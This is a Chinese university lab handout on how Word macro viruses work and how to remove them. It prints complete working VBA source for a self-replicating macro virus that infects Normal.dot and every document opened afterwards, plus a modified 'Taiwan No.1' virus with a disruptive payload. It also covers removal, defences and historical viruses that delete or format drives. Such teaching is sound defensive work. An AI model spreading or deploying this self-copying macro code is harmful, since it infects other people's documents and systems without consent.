实验七 计算机宏病毒分析及清除实验

实验七计算机宏病毒分析及清除实验

一、实验目的

?了解“宏病毒”机理；

?掌握清除宏病毒的方法；

?掌握采用“宏”和脚本语言进行编程的技术。

二、实验时数：2小时

三、实验环境

?Windows 2000/2003/XP或更高级别的Windows操作系统；

?Office Word 2000/2003等字处理软件。

四、实验要求

?演示宏的编写；

?理解宏病毒的作用机制。

五、实验步骤：

1．软件设置

关闭杀毒软件；打开Word字处理软件，在工具“宏”的“安全性”中，将“安全级”设置为低，在“可靠发行商”选项卡中，选择信任任何所有安装的加载项和模板，选择“信任visual basic项目的访问”。

注意：为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。

2．自我复制功能演示

打开一个word文档，然后按Alt+F11调用宏编写窗口（工具“宏”“Visual Basic宏编辑器”）,在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码（Macro-1），保存，此时当前word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot（word文档的公共模板）和当前文档的ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。

完整代码如下：

'Macro-1：Micro-Virus

Sub Document_Open()

On Error Resume Next

Application.DisplayStatusBar = False

Options.SaveNormalPrompt = False

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

With host

If .Lines(1, 1) <> "'Micro-Virus" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, ourcodemodule.Lines(1, 100)

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = NormalTemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

MsgBox "MicroVirus by Content Security Lab"

End Sub

以上代码的基本执行流程如下：

1) 进行必要的自我保护:

Application.DisplayStatusBar = False

Options.SaveNormalPrompt = False

高明的病毒编写者其自我保护将做得非常好，可以使word的一些工具栏失效，例如将工具菜单中的宏选项屏蔽，也可以修改注册表达到很好的隐藏效果。

本例中只是屏蔽状态栏，以免显示宏的运行状态，并且修改公用模板时自动保存，不给用户提示。

2) 得到当前文档的代码对象和公用模板的代码对象:

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

3) 检查模板是否已经感染病毒，如果没有，则复制宏病毒代码到模板，并且修改函数名:

With Host

If .Lines(1.1) <> "'Micro-Virus" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, Ourcode

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = nomaltemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

4) 执行恶意代码

MsgBox "MicroVirus by Content Security Lab"

3．具有一定破坏性的宏

我们可以对上例中的恶意代码稍加修改，使其具有一定的破坏性（这里以著名宏病毒“台湾一号”的恶意代码部分为基础，为使其在word 2000/2003版本中运行，且降低破坏性，对源代码作适当修改，参见如下源代码（Macro_2）。

完整代码如下：

'Macro_2：moonlight

Dim nm(4)

Sub Document_Open()

'DisableInput 1

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If

With host

If .Lines(1, 1) <> "'moonlight" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, ourcodemodule.Lines(1, 100)

.ReplaceLine 3, "Sub Document_Close()"

If ThisDocument = NormalTemplate Then

.ReplaceLine 3, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

Count = 0

If Year(Now()) = 2013 Then

try:

On Error GoTo try

test = -1

con = 1

tog$ = ""

i = 0

While test = -1

For i = 0 To 4

nm(i) = Int(Rnd() * 10)

con = con * nm(i)

If i = 4 Then

tog$ = tog$ + Str$(nm(4)) + "=?"

GoTo beg

End If

tog$ = tog$ + Str$(nm(i)) + "*"

Next i

beg:

Beep

ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错，只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")

If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then

Documents.Add

Selection.Paragraphs.Alignment = wdAlignParagraphCenter

Beep

With Selection.Font

.Name = "细明体"

.Size = 16

.Bold = 1

.Underline = 1

End With

Selection.InsertAfter Text:="何谓宏病毒"

Selection.InsertParagraphAfter

Beep

Selection.InsertAfter Text:="答案："

Selection.Font.Italic = 1

Selection.InsertAfter Text:="我就是......"

Selection.InsertParagraphAfter

Selection.InsertParagraphAfter

Selection.Font.Italic = 0

Beep

Selection.InsertAfter Text:="如何预防宏病毒"

Selection.InsertParagraphAfter

Beep

Selection.InsertAfter Text:="答案："

Selection.Font.Italic = 1

Selection.InsertAfter Text:="不要看我......"

GoTo out

Else

Count = Count + 1

For j = 1 To 20

Beep

Documents.Add

Next j

Selection.Paragraphs.Alignment = wdAlignParagraphCenter

Selection.InsertAfter Text:="宏病毒"

If Count = 2 Then GoTo out

GoTo try

End If

Wend

End If

out:

End Sub

该病毒的效果：当打开被感染的word文档时，首先进行自我复制，感染word 模板，然后检查日期，看是否是1日（即在每月的1日会发作），然后跳出一个对话框，要求用户进行一次心算游戏，这里只用四个小于10的数相乘，如果作者的计算正确，那么就会新建一个文档，跳出如下字幕：

何谓宏病毒

答案：我就是......

如何预防宏病毒

答案：不要看我......

如果计算错误，新建20个写有“宏病毒”字样的word文档，然后再一次进行心算游戏，总共进行3次，然后跳出程序。关闭文档的时候也会执行同样的询问。

4．清除宏病毒

对每一个受感染的word文档进行如下操作：

打开受感染的word文档，进入宏编辑环境（Alt+F11），打开“Normal Microsoft Word”对象“This Document”，清除其中的病毒代码（只要删除所有内容即可）。

然后打开“Project”“Microsoft Word”“This Document”，清除其中的病毒代码。

实际上，模板的病毒代码只要在处理最后一个受感染文件时清除即可，然而清除模板病毒后，如果重新打开其他已感染文件，模板将再次被感染，因此为了保证病毒被清除，可以查看每一个受感染文档的模板，如果存在病毒代码，都进行一次清除。

六、实验报告：

根据实验步骤，记录每一步实验结果，并撰写实验报告。

附：相关知识点

1.宏

宏是一系列命令和指令组合在一起形成的一个命令。以实现任务执行的自动化。Lotus 、Office等都可以使用宏。

?宏的创建

以微软Office中的Word为例。它提供两种宏创建方法：宏录制器和VB编辑器。方法是：运行word，单击“工具”→“宏”，选择“宏录制”或“VB编辑器”就可以创建宏。

?宏的保存

宏可以保存到模板或文档中，默认情况下，Word将宏存储在文件名

Normal.dot的模板中，该模板中的宏可以被所有Word文档使用。

?Word模板

Word模板是微软为方便Word使用集成在Word中的各种类型文档的一般模式。如传真、报告、通信录模板等等。此外，Word还允许用户在模板中添加自己定义的宏。使用户在制作自己的特定格式文件时，减少重复劳动。

任何一个Word文件都有相应的模板对应，而在所有模板中，最常用的就是Normal.dot模板（通用模板），它是启动Word时载入的默认模板。当打开或建立大多数Word文档时，系统都会自动装入Normal.dot模板并执行其中的宏。

?自动宏

自动宏是Word自动执行的宏。当Word打开文件时，首先检查是否有自动宏存在，如有，就自动启动它。Word宏病毒至少包含一个以上的自动宏,当Word 启动时,宏病毒程序也自动执行。

常见的自动宏有：

AutoNew:每次生成新文档时调用。

AutoOpen：每次打开一个已有文档时调用

AutoClose：每次关闭一个文档时调用

AutoExit：每次退出Word时调用

AutoExec：启动Word时调用

Document_Close：文档关闭时调用

FileSaveAs：文件另存时调用

FileSave：文件保存时调用

FileOpen：文件打开时调用

宏病毒通常是通过这些自动宏来扩散。

2.宏病毒

宏病毒(Macro Virus)是一种利用应用程序宏语言编制的计算机病毒，它附着在某个文件上，当用户打开这个文件时，宏病毒就被激活，并产生连锁性的感染。

针对MS Word的宏病毒通常感染Word的DOT模板文件，尤其是Normal.dot 文件，该文件是系统中大部分文档和字模板的基础，在系统缺省状态下该模板文件首先被打开，如果Normal.dot文件被病毒感染，当它被打开时，病毒就会扩散

到其他文档和模板。宏病毒迫使正在编辑的文档以指定模板格式存盘，以便进行传播。因为宏病毒无法附着在标准格式的DOC文件中，只有文档模板可以存储实际的宏代码，从而作为病毒载体。

宏病毒自从1995年出现第一例以来，已经出现或变异成了上百种宏病毒，1996年出现了５种宏病毒，其破坏性已经从良性发展到恶性。随着MS Office和Word 软件的用户越来越多，以Word文档格式交换的数据文件也越来越多，从而使宏病毒的传染可能性增大。

宏病毒的传染驻留机理是利用了Word给用户提供的一项强大功能，即用户可以自我增加Word功能，在工具菜单中加入宏程序。宏程序采用WordBasic语言编写，自动嵌入系统文件中。宏病毒编制机理的公开，始自于一个名为Joel McNamara 的人，他通过Internet网络的主题新闻组和电子公告牌系统，展示了他的一篇文章，详细阐述了计算机文档、电子邮件以及OLE环境的安全脆弱性，阐述了采用宏编写特殊程序（病毒）的可能性和文档，并在文档末尾公开了他编写的完整的、带注释的源程序DMV(Document Macro Virus)，这个文档本身有意感染上了病毒，而这个源程序则成为以后那些别有用心的人编制宏病毒的教材和示例。当然，一切有理智的人和反病毒协会都强烈谴责这种无限制公开发表病毒源程序的做法，因为后来出现的很多宏病毒都是按照此方法编写的。DMV病毒则成为第一个宏病毒，它采用一个宏AutoClose，在文档关闭时这个宏自动执行，并显示一个消息框，解释它所完成的所有动作。

常见的宏病毒如下：

1) “概念”（Concept）病毒

“概念”病毒使用５个宏（macro）进行感染和传播，这５个宏是AAAZAO,AAAZFS,AutoOpen,FileSaveAs, PayLoad，在菜单Tool/Macro项中可以看到这几个宏。该病毒传染时首先检查系统中是否存在PayLoad或FileSaveAs宏，如果两者之一存在，病毒会中止传染过程，否则开始进行传染。传染开始时，屏幕上将显示一个对话框，其中有一个数字和一个OK按钮，当用户按下OK按钮，病毒体被激发启动。病毒体运行后替换菜单中File/SaveAs功能，迫使用户以后将所有文档文件都改存为新的模板文件，同时将宏AAAZAO中的内容放入新模板文件的AutoOpen宏中，将宏AAAZFS,AAAZAO和Payload复制到新文件中。这样，用

户每次打开模板时AutoOpen宏都自动执行，病毒也就被复制到新的文件中。

对于“概念”病毒的检查，可以通过上述几种特殊宏的存在判定，其中，在宏PayLoad中存在字符串“That's enough to prove my point”（足够证明我的话了）。

2)“核子”（Nuclear）病毒

“核子”病毒类似“概念”病毒采用９个宏进行感染传播，这些宏是AutoExec,AutoOpen,DropSuriv,FileExit,FilePrint,FilePrintDefault,FileSa veAs,InsertPayLoad,PayLoad，上述宏操作都具有“只执行”（ExecuteOnly）功能，从而被MS Word系统自动加密，因此，检查时可以列出这些宏，但不能对他们进行编辑。该病毒具有三种传染方式，第一种是当感染病毒的文档或者模板被打开时，病毒通过自动运行AutoOpen而启动，首先检查AutoExec宏的存在，如果存在，病毒会中止传染；否则将病毒宏代码复制到全局模板上，然后判别系统日期是否是４月５日，如果是则病毒发作，将改变硬盘上DOS系统文件C:.SYS, MSDOS.SYS和https://www.360docs.net/doc/7810174850.html,的属性，然后删除C:.COM文件。第二种传染方式是在非发作日期用户编辑文档时，病毒将通过SaveAs宏把全局模板中的所有病毒宏都复制到新创建的文件中，并强制将文档存储为模板格式，使病毒宏代码附着在文件中。第三种传染方式是利用AutoExec宏传染，MS Word在开始自动执行并检查到AutoExec宏不存在时，已把所有病毒代码复制到全局模板中，在判定日期的同时也判定系统时间，如果时间处于下午5:00～5:59之间，这个宏会采用debug例程在C:目录中建立一个二进制病毒代码ph33r，该病毒为自我复制型，它可以感染所有COM和EXE文件（包括DOS和Windows的可执行文件），从而驻留在磁盘上。当此代码进入内存并运行传染后，这个宏将删除所有的感染例程。该病毒的特征信息仅在系统打印时表现，时间也必须在每分钟的最后４秒（56--59秒），在这段时间里打印已经感染的Word文件时，“核子”病毒会在打印最后一页加上字符串：“And finally I would like to say: STOP ALL FRENCH NUCLEAR TESTING IN THE PACFIC!”。

3)“彩色”（Colors）病毒

该病毒也称为“彩虹”(RainBow)病毒，传染机制类似，即将文档存为模板，在其中夹带病毒宏代码，它也通过AutoOpen和SaveAs传染，也使用了９个自动

宏，也已经加密而不能编辑。该病毒进行任何一次宏调用，就将一个计数器加１，该计数器被存放在Win.ini文件中的[windows]项下，入口为Countersu。当计数器计满300时，病毒向Win.ini中写入随机桌面彩色值。这样，当用户下一次启动Windows系统时，桌面色彩就改变了。

4)“无政府者一号”(MDMA.A)病毒

该病毒发作时间为每月一号，由于文本文件的交换共享性，它是一种多操作系统平台病毒。当它在Windows 3.x系统中发作时，会在Autoexec.bat文件中加入一条Deltree /y C:命令，当下次启动时，彻底毁掉Ｃ盘文件。当它在Win95系统上发作时，将删除C:目录下的所有hlp文件和C:目录下的所有cpl文件。而在WinNT系统或者macintosh系统中发作时，将删除当前目录下的所有文件。当病毒破坏完成后，将显示字符串：

"You are infectedwith MDMA_DMV.

Brought to you by MDMA (Many Delinquent Modern Anarchists)"

对于这个病毒可以简单地将系统日期改动，避开每月的一号来防止发作。

5)“格式化”病毒

这个病毒只是一个“特洛依木马”，它不能也不会复制。它只采用宏AutoOpen 工作，当文档打开时自动执行，病毒发作时将对Ｃ盘无条件格式化。

宏病毒已经在个人计算机上广泛流行，别有用心者还在不断地编写新的宏病毒。为了解决宏病毒问题，微软公司推出了一个名为scanprot.dot的模板，来检测和清除这些宏病毒。此外，目前流行的宏病毒还有：“台湾一号”、“钓鱼岛”、“BANDUNG-A”、“BANDUNG-B”以及上述宏病毒的变种。

3.宏病毒的结构

宏病毒的结构主要由初始化程序、感染复制程序、显示或破坏部分组成。

?初始化：宏病毒的初始化主要用来定义变量、常量和环境。

?感染：绝大多数宏病毒使用VBE（visual basic editor）自带的对象

VBProject.VBComponents来完成宏病毒的感染。

?触发：绝大多数宏病毒以标志作为触发条件，搜索被感染对象中是否

含有设定标志，如没有，就感染它。

?破坏：宏病毒的破坏功能主要表现在影响正常的文件操作上，严重时

也会破坏文件甚至系统。

4.宏病毒本身的局限性

由于只有模板文件才能储存宏指令,所以宏病毒只能以模板文件形式传播。而Word 在存储模板文件时(Save AS/另存为时),不能选择保存类型,只能存为"文档模板" (.dot)。由此，很容易判断出一个文件是否为一个模板文件。如果是一个以.doc为后缀的模板文件，那么可以肯定的说，这是一个被染毒的文件，或者是一个"宏病毒遗体"。

6.宏病毒的清除

（1）用杀毒软件清除。

（2）用手工清除：

?单击“工具”→“宏”→“宏”打开“宏”窗口。

?单击“宏的位置”下拉条，选择“Normal.dot”，删除刚才定义的自

动宏。

7.宏病毒的防御

宏病毒的防御方法有：

?设置宏的安全级别

打开Word文档→“工具”→“宏”→“安全性”，在宏安全级别中选择“高”，在“可靠来源”项上，清除“信任所有安装的加载项和模板”选项。

?为宏添加数字签名。

打开Word文档→“工具”→“宏”→“Visual Basic 编辑器”→“工具”

→“数字签名”即可设置数字签名。